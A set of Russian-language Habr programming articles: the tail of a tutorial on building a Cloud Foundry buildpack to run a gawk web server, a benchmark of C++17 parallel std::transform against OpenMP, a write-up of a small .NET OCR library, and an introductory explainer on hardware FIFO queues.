В первом случае язык или фреймворк поддерживается, но для приложения нужны сторонние библиотеки, например OpenCV, которые невозможно поставить стандатрным для этого языка менеджером зависимостей (npm, pip, bundler). В этом случае модифицируется существующий билдпак, в который добавляется установка нужных библиотек. Большинство билдпаков лежат на github, делается форк, с помощью которого можно будет деплоить приложение.
Второй случай более редкий — язык пока не поддерживается, т.е. билдпак пока никто не создал. В этом случае придется сделать его с нуля, что и будет описано чуть ниже. Я долго искал какой язык пока не поддерживается CloudFoundry, выбор пал на Brainfuck. К сожалению, когда я дописал билдпак, я понял, что быстро написать веб сервер на этом языке у меня не получится. Поиск показал, что и у других с этой задачей возникли сложности.
Чтобы было чуть понятнее в чем проблема — билдпак настраивает среду, в которую затем помещается пользовательское приложение, ему через переменные окружения передаются порт и имя хоста, где приложение должно начать обрабатывать HTTP запросы. Т.е. простого hello world мало. Я продолжил поиски и нашел реализацию веб серверов на [PostScript](http://www.pugo.org:8080) и [Awk (точнее gawk)](http://awk.info/?tools/server). В итоге я выбрал Awk и начал писать новый билдпак.
### Ок, что пишем?
[Документация](http://docs.cloudfoundry.org/buildpacks/custom.html) хорошо описывает общие концепции, также можно посмотреть готовые билдпаки. В самом простом случае необходимо создать создать папку bin и поместить в нее 3 исполнимых файла:
**detect** — определяет можно ли применять данный билдпак к приложению. Если да, то скрипт должен вернуть 0 и напечатать имя языка или фреймворка. В нашем случае мы проверяем наличие app.awk в корне приложения, введем такое соглашение.
```
#!/usr/bin/env bash
# bin/detect
# Any awk web app must have app.awk file
if [ -f $1/app.awk ]; then
echo "gawk"
exit 0
fi
exit 1
```
**compile** должен устновить все что нужно и скомпилировать пользовательское приложение, если это требуется. В нашем случае надо загрузить и установить gawk. Чтобы экономить время во время разворачивания приложения можно было собрать его вручную под разные версии Ubuntu и выбирать подходящую на этом шаге. Но сборка gawk не такой затратный процесс, кроме того, поддерживается кэш, так что для большинства проектов компиляция будет выполняться один раз. Зато мы точно получим файл, собранный под нужную версию ОС и архитектуру.
```
#!/usr/bin/env bash
# bin/compile
set -e
build\_dir=$1
cache\_dir=$2
awk\_cache=$cache\_dir/gawk-4.1.3
awk\_url="http://ftp.gnu.org/gnu/gawk/gawk-4.1.3.tar.gz"
if [ -f $awk\_cache/gawk ]; then
echo "Using cached gawk"
else
# download and compile gawk
mkdir -p $awk\_cache
curl -o $cache\_dir/gawk.tar.gz "$awk\_url"
cd $cache\_dir
tar zxvf gawk.tar.gz
cd $awk\_cache
./configure
make
fi
# copy gawk to build dir
cp $awk\_cache/gawk $build\_dir
# set path and test gawk
PATH=$build\_dir:$PATH
gawk -V
# create a launcher to wrap env vars passing
echo "#!/usr/bin/env bash\n" > $build\_dir/awk-start
echo "/app/gawk -v PORT=\"\$PORT\" -v HOST=\"\$VCAP\_APP\_HOST\" -f \$1" >> $build\_dir/awk-start
chmod +x $build\_dir/awk-start
```
Первый аргумент — место сборки файлов (build\_dir), второй — кэш. Наша задача положить нужные для запуска файлы в build\_dir, в нашем случает это gawk. Кроме того, Awk скрипт не имеет доступа к переменным окружения, а нам нужно знать какой порт нам выделяет CloudFoundry для запуска (переменная окружения PORT). Поэтому я сделал небольшую обертку для удобного запуска.
**release** — передает метаданные, необходимые для запуска приложения. Обычно это переменные окружения и строка запуска по умолчанию. Она будет использоваться, если приложение не предоставляет этой информации, что обычно делается в файле Procfile.
```
#!/usr/bin/env bash
# bin/release
cat <
```
Проверяем работу скриптов локально, потом выкладываем все на github, запоминаем адрес <https://github.com/hashmap/gawk-buildpack>
### Понял, как все запустить?
Теперь пишем приложение. Создаем папку gawktest, в ней файл app.awk
```
# A Web Server in Awk
# a simple, single user, web server built with gawk.
# based on code form http://awk.info/?tools/server by Michael Sanders
BEGIN {
host = "/inet/tcp/" PORT "/0/0" # host string
status = 200 # 200 == OK
reason = "OK" # server response
RS = ORS = "\r\n" # header line terminators
doc = Setup() # html document
len = length(doc) + length(ORS) # length of document
print "Staring AWK server"
while (1) {
print "HTTP/1.0", status, reason |& host
print "Connection: Close" |& host
print "Pragma: no-cache" |& host
print "Content-length:", len |& host
print ORS doc |& host
close(host) # close client connection
host |& getline # wait for new client request
}
}
function Setup() {
tmp = "\
Simple gawk server\
\
Hello from awk!\
\
"
return tmp
}
```
Проверяем работу приложения локально:
```
gawk -v PORT=8080 -f app.awk
```
теперь можно отправлять на Bluemix, делаем стандартный cf push, но еще указываем адрес нашего билдпака:
```
gawktest cf push gawktest -b https://github.com/hashmap/gawk-buildpack
Updating app gawktest in org xxx@gmail.com / space dev as xxx@gmail.com...
OK
Uploading gawktest...
Uploading app files from: /Users/alex/projects/gawktest
Uploading 32.3K, 3 files
Done uploading
OK
Stopping app gawktest in org xxx@gmail.com / space dev as xxx@gmail.com...
OK
Starting app gawktest in org xxx@gmail.com / space dev as xxx@gmail.com...
-----> Downloaded app package (8.0K)
-----> Downloaded app buildpack cache (11M)
Cloning into '/tmp/buildpacks/gawk-buildpack'...
Using cached gawk
GNU Awk 4.1.3, API: 1.1
Copyright (C) 1989, 1991-2015 Free Software Foundation.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/.
-----> Uploading droplet (724K)
1 of 1 instances running
App started
OK
App gawktest was started using this command `/app/awk-start app.awk`
Showing health and status for app gawktest in org xxx@gmail.com / space dev as xxx@gmail.com...
OK
requested state: started
instances: 1/1
usage: 64M x 1 instances
urls: gawktest.mybluemix.net
last uploaded: Wed Jul 15 12:21:13 UTC 2015
stack: lucid64
buildpack: https://github.com/hashmap/gawk-buildpack
state since cpu memory disk details
#0 running 2015-07-15 03:22:08 PM 0.0% 1.1M of 64M 1.9M of 1G
```
### Финальные титры
Все работает и [доступно](http://gawktest.mybluemix.net), пока по крайней мере, не забывайте, что сервер однопользовательский. Т.к. это не первый запуск, то уже собранный gawk просто скопировался из кэша. При первом запуске нового приложения можно будет увидеть как он скачивается, распаковывается и собирается. Также для отладки печатается версия gawk и его лицензия.
Если кто напишет веб фреймворк на Brainfuck — дайте знать. | https://habr.com/ru/post/262701/ | null | ru | null |
# Удивительная производительность параллельных алгоритмов C++17. Миф или Реальность?
Добрый вечер!
От нашего курса [«Разработчик C++»](https://otus.pw/NmIA/) предлагаем вам небольшое и интересное исследование про параллельные алгоритмы.
Поехали.
С появлением параллельных алгоритмов в C++17, вы с легкостью можете обновить свой “вычислительный” код и получить выгоду от параллельного выполнения. В этой статье, я хочу рассмотреть STL алгоритм, который естественным образом раскрывает идею независимых вычислений. Можно ли ожидать 10-кратного ускорения при наличии 10-ядерного процессора? А может больше? Или меньше? Поговорим об этом.
**Введение в параллельные алгоритмы**
C++17 предлагает параметр политики выполнения для большинства алгоритмов:
* sequenced\_policy — тип политики выполнения, используется в качестве уникального типа для устранения перегрузки параллельного алгоритма и требования того, что распараллеливание выполнения параллельного алгоритма — невозможно: соответствующий глобальный объект — `std::execution::seq`;
* parallel\_policy — тип политики выполнения, используемый в качестве уникального типа для устранения перегрузки параллельного алгоритма и указания на то, что распараллеливание выполнения параллельного алгоритма — возможно: соответствующий глобальный объект — `std::execution::par`;
* parallel\_unsequenced\_policy — тип политики выполнения, используемый в качестве уникального типа для устранения перегрузки параллельного алгоритма и указания на то, что распараллеливание и векторизация выполнения параллельного алгоритма — возможны: соответствующий глобальный объект — `std::execution::par_unseq`;
Кратко:
* используйте `std::execution::seq` для последовательного выполнения алгоритма;
* используйте `std::execution::par` для параллельного выполнения алгоритма (обычно с помощью какой-либо реализации Thread Pool (пула потоков));
* используйте `std::execution::par_unseq` для параллельного выполнения алгоритма с возможностью использования векторных команд (например, SSE, AVX).
В качестве быстрого примера вызовем `std::sort` параллельно:
```
std::sort(std::execution::par, myVec.begin(), myVec.end());
// ^^^^^^^^^^^^^^^^^^^
// политика выполнения
```
Обратите внимание, как просто добавить параметр параллельного выполнения в алгоритм! Но удастся ли добиться значительного улучшения производительности? Увеличит ли это скорость? Или есть случаи замедления?
**Параллельный `std::transform`**
В этой статье, я хочу обратить внимание на алгоритм `std::transform`, который потенциально может быть основой для других параллельных методов (наравне с `std::transform_reduce`, `for_each`, `scan`, `sort`...).
Наш тестовый код будет строиться по следующему шаблону:
```
std::transform(execution_policy, // par, seq, par_unseq
inVec.begin(), inVec.end(),
outVec.begin(),
ElementOperation);
```
Предположим, что у функции `ElementOperation` нет никаких методов синхронизации, в таком случае у кода есть потенциал параллельного выполнения или даже векторизации. Каждое вычисление элемента независимо, порядок не имеет значения, поэтому реализация может порождать несколько потоков (возможно в пуле потоков) для независимой обработки элементов.
Я бы хотел поэкспериментировать со следующими вещами:
* размер векторного поля — большое или маленькое;
* простое преобразование, которое тратит бОльшую часть времени на доступ к памяти;
* больше арифметических (ALU) операций;
* ALU в более реалистичном сценарии.
Как видите, я хочу не только протестировать количество элементов, которые “хороши” для использования параллельного алгоритма, но и ALU-операции, которые занимают процессор.
Прочие алгоритмы, такие как сортировка, накопление (в виде std::reduce) также предлагают параллельное выполнение, но и требуют больше работы для вычисления результатов. Поэтому будем считать их кандидатами для другой статьи.
Примечание об бенчмарках
Для своих тестов я использую Visual Studio 2017, 15.8 — поскольку это единственная реализация в популярной реализации компилятора/STL на текущий момент (Ноябрь, 2018) (GCC в пути!). Более того, я сосредоточился только на `execution::par`, так как `execution::par_unseq` недоступна в MSVC (работает аналогично `execution::par`).
Есть два компьютера:
* i7 8700 — ПК, Windows 10, i7 8700 — тактовая частота 3.2 GHz, 6 ядер/12 потоков (Hyperthreading);
* i7 4720 — Ноутбук, Windows 10, i7 4720, тактовая частота 2.6GHz, 4 ядра/8 потоков (Hyperthreading).
Код скомпилирован в x64, Release more, автовекторизация включена по-умолчанию, также я включил расширенный набор команд (SSE2) и OpenMP (2.0).
Код находится в моем github’е: [github/fenbf/ParSTLTests/TransformTests/TransformTests.cpp](https://github.com/fenbf/ParSTLTests/blob/master/TransformTests/TransformTests.cpp)
Для OpenMP (2.0) я использую параллельность только для циклов:
```
#pragma omp parallel for
for (int i = 0; ...)
```
Запускаю код 5 раз и смотрю на минимальные результаты.
***Предупреждение**: Результаты отражают только грубые наблюдения, проверьте на своей системе/конфигурации перед использованием в продакшне. Ваши требования и окружение могут отличаться от моих.*
Более подробно о MSVC реализации можно прочитать в [этом посте](https://blogs.msdn.microsoft.com/vcblog/2018/09/11/using-c17-parallel-algorithms-for-better-performance/). А [вот свежий доклад](https://www.youtube.com/watch?v=nOpwhTbulmk) Билла О’Нила с CppCon 2018 (Билл реализовал Parallel STL в MSVC).
Ну что ж, начнем с простых примеров!
**Простое преобразование**
Рассмотрим случай, когда вы применяете очень простую операцию к входному вектору. Это может быть копирование или умножение элементов.
Например:
```
std::transform(std::execution::par,
vec.begin(), vec.end(), out.begin(),
[](double v) { return v * 2.0; }
);
```
В моем компьютере 6 или 4 ядра… могу ли я ожидать 4..6-кратного ускорение последовательного выполнения? Вот мои результаты (время в миллисекундах):
| Операция | Размер вектора | i7 4720 (4 ядра) | i7 8700 (6 ядер) |
| --- | --- | --- | --- |
| execution::seq | 10k | 0.002763 | 0.001924 |
| execution::par | 10k | 0.009869 | 0.008983 |
| openmp parallel for | 10k | 0.003158 | 0.002246 |
| execution::seq | 100k | 0.051318 | 0.028872 |
| execution::par | 100k | 0.043028 | 0.025664 |
| openmp parallel for | 100k | 0.022501 | 0.009624 |
| execution::seq | 1000k | 1.69508 | 0.52419 |
| execution::par | 1000k | 1.65561 | 0.359619 |
| openmp parallel for | 1000k | 1.50678 | 0.344863 |
На более быстрой машине можем увидеть, что понадобится около 1 миллиона элементов, чтобы заметить улучшение производительности. С другой стороны, на моем ноутбуке все параллельные реализации были медленнее.
Таким образом, заметить какое-либо значительное улучшение производительности при помощи таких трансформаций сложно, даже при увеличении количества элементов.
Почему же?
Поскольку операции элементарные, ядра процессора могут вызывать его практически мгновенно, используя всего несколько циклов. Однако, ядра процессора тратят больше времени, ожидая основную память. Так что, в этом случае, по большей части они будут ждать, а не совершать вычисления.
*Чтение и запись переменной в памяти занимает около 2-3 тактов, если она кэшируется, и несколько сотен тактов, если не кэшируется.*
<https://www.agner.org/optimize/optimizing_cpp.pdf>
Можно грубо заметить, что если ваш алгоритм зависит от памяти, то не стоит ожидать улучшения производительности с параллельным вычислением.
**Больше вычислений**
Поскольку пропускная способность памяти крайне важна и может влиять на скорость вещей… давайте увеличим количество вычислений, влияющих на каждый элемент.
Мысль в том, что лучше использовать циклы процессора, а не тратить время на ожидание памяти.
Для начала, я использую тригонометрические функции, например, `sqrt(sin*cos)` (это условные вычисления в неоптимальной форме, просто чтобы занять процессор).
Мы используем `sqrt`, `sin` и `cos`, которые могу занять ~20 на `sqrt` и ~100 на тригонометрическую функцию. Такое количество вычислений может покрыть задержку на доступ к памяти.
Более подробно о задержках команд написано в прекрасной статье [Perf Guide от Агнера Фога](https://www.agner.org/optimize/instruction_tables.pdf).
Вот бенчмарк-код:
```
std::transform(std::execution::par, vec.begin(), vec.end(), out.begin(),
[](double v) {
return std::sqrt(std::sin(v)*std::cos(v));
}
);
```
И что же теперь? Можем ли мы рассчитывать на улучшение производительности по сравнении с предыдущей попыткой?
Вот некоторые результаты (время в миллисекундах):
| Операция | Размер вектора | i7 4720 (4 ядра) | i7 8700 (6 ядер) |
| --- | --- | --- | --- |
| execution::seq | 10k | 0.105005 | 0.070577 |
| execution::par | 10k | 0.055661 | 0.03176 |
| openmp parallel for | 10k | 0.096321 | 0.024702 |
| execution::seq | 100k | 1.08755 | 0.707048 |
| execution::par | 100k | 0.259354 | 0.17195 |
| openmp parallel for | 100k | 0.898465 | 0.189915 |
| execution::seq | 1000k | 10.5159 | 7.16254 |
| execution::par | 1000k | 2.44472 | 1.10099 |
| openmp parallel for | 1000k | 4.78681 | 1.89017 |
Наконец-то мы видим неплохие числа :)
Для 1000 элементов (здесь не показанных), время параллельного и последовательного вычисления было схожи, поэтому для более 1000 элементов мы видим улучшение в параллельном варианте.
Для 100 тысяч элементов результат на более быстром компьютере почти в 9 раз лучше последовательной версии (аналогично для OpenMP версии).
В наибольшем варианте из миллиона элементов — результат быстрее в 5 или 8 раз.
Для таких вычислений я добился “линейного” ускорения, зависящего от количества ядер процессора. Чего и стоило ожидать.
**Френель и трёхмерные векторы**
В разделе выше я использовал “выдуманные” вычисления, но что насчет настоящего кода?
Давайте, решим уравнения Френеля, описывающие отражение и искривление света от гладкой, плоской поверхности. Это популярный метод для генерации реалистичного освещения в трехмерных играх.
*Фото из [Wikimedia](https://commons.wikimedia.org/wiki/File:Sea_and_Sun_%28cropped%29_2.jpg)*
В качестве хорошего образца я нашел [это описание и реализацию](https://www.scratchapixel.com/lessons/3d-basic-rendering/introduction-to-shading/reflection-refraction-fresnel).
**Об использовании библиотеки GLM**
Вместо создания собственной реализации, я использовал [библиотеку glm](https://glm.g-truc.net/0.9.9/index.html). Я часто ей пользуюсь в своих OpenGl проектах.
К библиотеке легко получить доступ через [Conan Package Manager](https://conan.io/), поэтому им я тоже буду пользоваться. [Ссылка](https://bintray.com/bincrafters/public-conan/glm%3Ag-truc) на пакет.
Файл Conan:
```
[requires]
glm/0.9.9.1@g-truc/stable
[generators]
visual_studio
```
и командная строка для установки библиотеки (она генерирует props-файлы, которые я могу использовать в проекте Visual Studio):
```
conan install . -s build_type=Release -if build_release_x64 -s arch=x86_64
```
Библиотека состоит из заголовка, поэтому вы можете просто скачать ее вручную, если хотите.
**Фактический код и бенчмарк**
Я адаптировал код для glm из [scratchapixel.com](https://www.scratchapixel.com/):
```
// реализация адаптирована из https://www.scratchapixel.com
float fresnel(const glm::vec4 &I, const glm::vec4 &N, const float ior)
{
float cosi = std::clamp(glm::dot(I, N), -1.0f, 1.0f);
float etai = 1, etat = ior;
if (cosi > 0) { std::swap(etai, etat); }
// Вычислить sini с помощью закона Снеллиуса
float sint = etai / etat * sqrtf(std::max(0.f, 1 - cosi * cosi));
// Полное внутреннее отражение
if (sint >= 1)
return 1.0f;
float cost = sqrtf(std::max(0.f, 1 - sint * sint));
cosi = fabsf(cosi);
float Rs = ((etat * cosi) - (etai * cost)) /
((etat * cosi) + (etai * cost));
float Rp = ((etai * cosi) - (etat * cost)) /
((etai * cosi) + (etat * cost));
return (Rs * Rs + Rp * Rp) / 2.0f;
}
```
Код использует несколько математических инструкций, скалярное произведение, умножение, деление, так что процессору есть, чем заняться. Вместо вектора double мы используем вектор из 4х элементов, чтобы увеличить количество используемой памяти.
Бенчмарк:
```
std::transform(std::execution::par,
vec.begin(), vec.end(), vecNormals.begin(), // векторы ввода
vecFresnelTerms.begin(), // вывод
[](const glm::vec4& v, const glm::vec4& n) {
return fresnel(v, n, 1.0f);
}
);
```
И вот результаты (время в миллисекундах):
| Операция | Размер вектора | i7 4720 (4 ядра) | i7 8700 (6 ядер) |
| --- | --- | --- | --- |
| execution::seq | 1k | 0.032764 | 0.016361 |
| execution::par | 1k | 0.031186 | 0.028551 |
| openmp parallel for | 1k | 0.005526 | 0.007699 |
| execution::seq | 10k | 0.246722 | 0.169383 |
| execution::par | 10k | 0.090794 | 0.067048 |
| openmp parallel for | 10k | 0.049739 | 0.029835 |
| execution::seq | 100k | 2.49722 | 1.69768 |
| execution::par | 100k | 0.530157 | 0.283268 |
| openmp parallel for | 100k | 0.495024 | 0.291609 |
| execution::seq | 1000k | 25.0828 | 16.9457 |
| execution::par | 1000k | 5.15235 | 2.33768 |
| openmp parallel for | 1000k | 5.11801 | 2.95908 |
С “настоящими” вычислениями видим, что параллельные алгоритмы обеспечивают хорошую производительность. Для таких операций на двух моих машинах с Windows я добился ускорения с почти линейной зависимостью от количества ядер.
Для всех тестов я также показал результаты из OpenMP и двух реализаций: MSVC и OpenMP работают аналогично.
**Вывод**
В этой статье я разобрал три случая применения параллельного вычисления и параллельных алгоритмов. Замена стандартных алгоритмов на версию std::execution::par может показаться очень заманчивой, но делать это стоит не всегда! Каждая операция, используемая вами внутри алгоритма может работать иначе и быть более зависимой от процессора или памяти. Поэтому рассматривайте каждое изменение отдельно.
О чем стоит помнить:
* параллельное выполнение, обычно, делает больше, чем последовательное, так как библиотека должна подготовиться к параллельному выполнению;
* важно не только количество элементов, но и количество команд, которыми занят процессор;
* лучше брать задачи, которые не зависят друг от друга и других общих ресурсов;
* параллельные алгоритмы предлагают простой способ разделять работу на отдельные потоки;
* если ваши операции зависят от памяти, не стоит ожидать улучшения производительности, а в некоторых случаях, алгоритмы могут быть медленнее;
* чтобы получить приличное улучшение производительности, всегда измеряйте тайминги каждой проблемы, в некоторых случаях результаты могут быть совершенно другими.
Особое спасибо JFT за помощь со статьей!
Также обратите внимание на мои другие источники о параллельных алгоритмах:
* Свежая глава в моей книге [C++17 In Detail](https://leanpub.com/cpp17indetail) о Параллельных Алгоритмах;
* [Parallel STL And Filesystem: Files Word Count Example](https://www.bfilipek.com/2018/07/files-word-count.html);
* [Примеры параллельных алгоритмов из C++17](https://www.bfilipek.com/2018/06/parstl-tests.html).
Обратите внимание на другую статью, связанную с Параллельными Алгоритмами: [How to Boost Performance with Intel Parallel STL and C++17 Parallel Algorithms](https://www.bfilipek.com/2018/11/pstl.html)
THE END
Ждём и комментарии, и вопросы, которые можно оставить тут или у нашего [преподавателя](https://otus.pw/vDjY/) на [дне открытых дверей](https://otus.pw/4n6O/). | https://habr.com/ru/post/433588/ | null | ru | null |
# Простая система оптического распознавания символов для .NET
Все началось с необходимости в одном из приложений получать снимок произвольного окна и 3-4 раза в секунду распознавать несколько областей изображения с заранее известными символами. Сделать скриншот окна с помощью WinAPI проблем не составило, а вот над распознаванием пришлось немного потрудиться.
#### Tessnet2 и MODI
Естественно для начала я поискал готовые решения. Первое что выдал гугл — библиотека Tesseract, а точнее ее обертка под .NET – под названием Tessnet2. К сожалению при детальном изучении оказалось что она мне не подходит. Во второй версии Tesseract довольно много утечек памяти, что мне не подходило, так как после 10 минут работы программы с использованием Tessnet2 приложение вылетало с OutOfMemoryException. На странице Tesseract написано, что в третьей версии утечек не должно быть, но и рабочей обертки для Tesseract3 я не нашел.
Так же мне не подошло средство MODI (Microsoft Office Document Imaging) – так как распознает только файлы (нельзя передать ему экземпляр класса Bitmap для распознавания).
После непродолжительного поиска в гугле других бесплатных библиотек распознавания символов под .NET и проблем с ними связанных, я решил что проще будет сделать свою маленькую библиотеку как раз для таких случаев. Тем более задача довольно интересная.
Что мы имеем:* Символы никак не искажаются. То есть для распознавания капчи использовать не получится
* Набор распознаваемых символов постоянный и для каждого символа мы имеем файл с его изображением
* Небольшое количество символов для распознавания. Чем больше символов – тем дольше распознает
#### Идея
Что я хотел получить в итоге? Получить класс, методу которого можно передать изображение, специальный файл с набором распознаваемых символов, и на выходе получить распознанную строку. Примерно так:
`var playerStacks = new OCRReader(OCRFont.Load("MyFont.pft")), Color.Black, useForeColor: false);
var stackString = playerStacks.Recognize(imageToRecognition);`
Еще подумалось было бы неплохо иметь утилиты для создания таких файлов шрифтов и для проверки созданного шрифта на конкретном изображении. Утилиты исключительно для удобства. Все действия которые можно сделать с помощью утилит, можно сделать и в коде.
#### Реализация
Вся функциональность распределена между тремя классами OCRSymbol, OCRFont и OCRReader.
OCRSymbol – описывает символ: его название, ширину и высоту, сдвиг символа вниз относительно самого высокого символа из всего набора, списки точек характерных для символа и точек составляющих фон.
OCRFont – набор символов, сериализуется с помощью BinaryFormater.
OCRReader – координирует считывание символов один за другим. Так же задает стратегию считывания. Дело в том, что при создании экземпляра этого класса мы можем задать цвет. Этот цвет будет использован либо как цвет фона (все что не этот цвет, то символ), либо как цвет символа (все что не этот цвет – фон). Это надо для случаев когда в фоне используется больше одного цвета, либо когда символ нарисован более чем одним цветом.
Случай когда символ нарисован более чем одним цветом (черный фон, все остальное символ)
[](https://habrastorage.org/storage/habraeffect/a1/76/a17671a852420765bbe901e533d20d72.png "Хабрэффект.ру")
Случай, когда фон не одноцветный (фон – зеленый градиент, символы нарисованы белым цветом)
[](https://habrastorage.org/storage/habraeffect/1b/3f/1b3f7fee71bfefa9a2d0ad7f3e1195d1.png "Хабрэффект.ру")
Алгоритм распознавания очень простой. Каждый символ описывается двумя универсальными списками List. Первый – точки, которые должны присутствовать в символе (Good), второй – которые не должны, то есть фон (Bad). При сравнении с очередным символом сначала проходится список точек фона, если при проверке очередной точки соответствующая точка в распознаваемом изображении оказывается не фоном (цвет фона задается при создании OCRReader), цикл заканчивается и переходим к сравнению со следующим символом. Если список точек фона успешно пройден, то аналогично прогоняем через список точек символа. Любое несовпадение – переходим к сравнению со следующем символом. Если все проверки прошли успешно, значит мы распознали наш символ и можем переходить к распознаванию следующего.
#### Дополнительные утилиты
В ручную описывать списки точек для каждого символа не хотелось, поэтому я написал утилиту которая автоматически импортирует из заданной директории все файлы изображений и по названию файла и заданному цвету фона сама создает эти списки. Конечно в большинстве случаев будет желательна ручная корректировка. Так как все пиксели изображения раскидываются по спискам точек фона и точек символа. В большинстве случаев такой точности не надо. Достаточно указать по 10-20 точек из каждого списка для однозначного определения символа. Например для моего примера для символа ‘6’ хватило следующих списков пикселей (красный – фон, зеленый – символ, белый – не проверяется). Первый скриншот — символ описан утилитой, второй — после ручного редактирования. Распознаются они одинаково. Можно было сделать еще меньше характерных точек.
[](https://habrastorage.org/storage/habraeffect/45/e9/45e9b5ce582fe72c46e2235c8d5565bc.png "Хабрэффект.ру")[](https://habrastorage.org/storage/habraeffect/28/20/2820b81b2f562a8d63541a48531252f8.png "Хабрэффект.ру")
Так же была создана утилита для проверки работы созданного с помощью предыдущей утилиты файла шрифта.
[](https://habrastorage.org/storage/habraeffect/1e/68/1e6851c9671c18dc7ca46a363ab41bf9.png "Хабрэффект.ру")
Распознавание 5 символов с учетом кроппинга (обрезания изображения до границ символов) заняло 37 мсек. Для полного алфавита время распознавания будет само-собой больше.
#### Исходники
Библиотеку с классами распознавателя, утилиту для создания и редактирования файлов шрифтов и проверки на изображении, примеры изображений шрифта, а так же исходники всего этого для Visual Studio 2010 можно [загрузить с mediafire.com](http://www.mediafire.com/?2ws8pumlrr2rngr).
Или с [GitHub.com](https://github.com/evlntnt/SimpleOCR)
#### Заключение
Для обрезания изображения по краям используется библиотека AForge .NET так как метод Bitmap.Clone очень медленно работает. Буду рад если мои наработки пригодятся кому-нибудь кроме меня.
#### Использованные материалы
1. [Страница библиотеки Tesseract](http://code.google.com/p/tesseract-ocr/)
2. [Обертка над Tesseract2 – Tessnet2](http://www.pixel-technology.com/freeware/tessnet2/)
3. [Работа с MODI](http://www.codeproject.com/KB/office/modi.aspx?df=100&forumid=172151&exp=0&select=1775451)
4. [AForge .NET](http://code.google.com/p/aforge/) | https://habr.com/ru/post/116602/ | null | ru | null |
# FIFO для самых маленьких (вместе с вопросами на интервью)
"Напишите на доске код на верилоге для FIFO" - это популярный вопрос во время интервью в компании типа Apple и AMD, причем у него есть вариации для всех уровней инженеров, так как существуют десятки типа реализаций FIFO: на D-триггерах, встроенной SRAM памяти или на массиве D-защелок; с одном или двумя тактовыми сигналами; с одним, двумя или N вталкиваниями / выталкиваниями в одном такте; с разделяемой несколькими FIFO общей памятью; с парой указателей для записи/чтения и с хранением элементов в виде связанного списка; FIFO позволяющее undo; FIFO позволяющие потери данных; всякая экзотика типа FIFO шириной ноль итд.
Если человек не в теме или не понял вопроса, он может начать "запускаем GUI от Xilinx, вносим параметры и инстанциируем сгенерированный код". Это вызывает реакцию, как если бы школьная учительница геометрии спросила "найдите гипотенузу" и школьник бы ткнул пальцем в гипотенузу и с улыбкой ответил "вот она!"
Если у человека в резюме есть десять лет опыта, он спросит "какое именно FIFO" ему показать из списка выше. Но если человек только что пришел с вводного курса, то он должен как минимум знать то что написано ниже. То есть уметь написать самое простое FIFO на D-триггерах и с одним тактовым сигналом, уметь его использовать с окружающей логикой и разпознать случаи, в которых его нужно применять.
Без этого умения вы не знаете Verilog и не умеете проектировать на уровне регистровых передач. К сожалению, FIFO нет в книге [Харрис & Харрис ("Цифровая схемотехника и архитектура компьютера: RISC-V")](https://dmkpress.com/catalog/electronics/circuit_design/978-5-97060-961-3/), и это ее недостаток. В реальной жизни любой компании которая проектирует CPU, GPU, сетевые чипы и нейроускорители, во многих блоках есть десятки FIFO.
[Тут может быть возражение, что в любой крупной компании, в которой вы будете работаеть, уже будет внутрення библиотека всех видов FIFO и вам в 90% случаев не нужно будет его писать. Но я не буду на это возражение отвечать.]
### Небольшое отступление
Эту заметку я написал прежде всего для участников [Сколковской Школы Синтеза Цифровых Схем](http://www.chipexpo.ru/shkola-sinteza-cifrovyh-shem-na-verilog), в качестве приквела к занятию "Стандартные блоки и приемы проектирования для ASIC и FPGA: очереди FIFO и кредитные счетчики". Это занятие проведет [в субботу 22 января 2022](http://www.chipexpo.ru/shkola-sinteza-cifrovyh-shem-na-verilog) инженер-разработчик ПЛИС Дмитрий Смехов.
[Дмитрий уже писал про FIFO на Хабре](https://habr.com/ru/post/321674/). Его заметка наглядно описывает, как работает пара из указателей для чтения и записи. Поэтому я очень рекомендую ее прочитать перед началом занятий, особенно часть начиная со слов "Определение пустого и полного FIFO" и до слов "Это означает, что FIFO полное и записывать дальше нельзя, что бы не испортить уже записанные данные".
При этом заметка Дмитрия посвящена FIFO с двумя тактовыми сигналами и памятью, причем глубиной степени двойки. Про FIFO с двумя тактовыми сигналами на школе будет отдельное занятие, по мотивам статей Клифа Каммингса ([1](http://www.sunburst-design.com/papers/CummingsSNUG2008Boston_CDC.pdf), [2](http://www.sunburst-design.com/papers/CummingsSNUG2002SJ_FIFO1.pdf)). Также при проектировании ASIC помимо FIFO c хранением данных в памяти часто используются FIFO на основе регистрового файла из D-триггеров, код для которых я написал в примере ниже.
Кроме этого статья Дмитрия недостаточно артикулирует зачем FIFO нужно вообще. Я попробую дать на пальцах некое первоначальное понимание для тех, кто видит FIFO впервые. А также дам три задачки, которые было бы хорошо решить участникам перед занятием, так как Дмитрий будет на нем говорить больше о кредитных счетчиках, чем о FIFO.
### Что такое FIFO?
Итак: в базовом виде очередь FIFO - это блок для временного хранение информации, в который можно запихивать данные слева и получать их справа:
Альтернативные имена для сигналов:
1. Сигнал D в некоторых реализациях называют write\_data, Q - read\_data.
2. Сигналы Push/Pop иногда называют put/get и иногда write/read. Но тут нужно быть внимательным. Есть FIFO, которые Xilinx называет "стандартными", в которых данные приходят после запроса read. Но при проектировании ASIC чаще используются FIFO, в которых следующие данные уже присутствуют на шине, когда Empty=0, и установка сигнала Pop/Read в единицу вызовет удаление текущего значения с головы FIFO. После чего там окажется следующее значение и FIFO станет пустым.
3. Сигналы Empty/Full иногда называют Can\_read/can\_write.
Функционально FIFO - это просто массив с двумя указателями, которые также называют адресами и иногда индексами. write/put\_pointer и read/get\_pointer. Работает это так (gif [отсюда](http://users.ece.utexas.edu/~valvano/assmbly/fifo.htm)):
А чем FIFO отличается от сдвигового регистра (shift register), спросите вы? Два отличия:
1. В сдвиговом регистре глубины D данное/трансфер проходит от начала до конца ровно за D сдвигов, то есть минимум за D тактов. В FIFO же этот путь зависит от количества элементов в FIFO. То есть если FIFO пустое, то записанный трансфер будет доступен для чтения уже в следущем такте (для FIFO на D-триггерах или SRAM-based с байпасом). Но если FIFO глубиной D почти полное (наполненность равна D-1), то путь займет минимуму D тактов.
2. В сдвиговом регистре мы перемещаем данные, а в FIFO - указатели. Это экономит динамическое энергопотребление чипа, которое зависит от движения данных по D-триггерам. Чем меньше движения, особенно для широких шин, тем лучше.
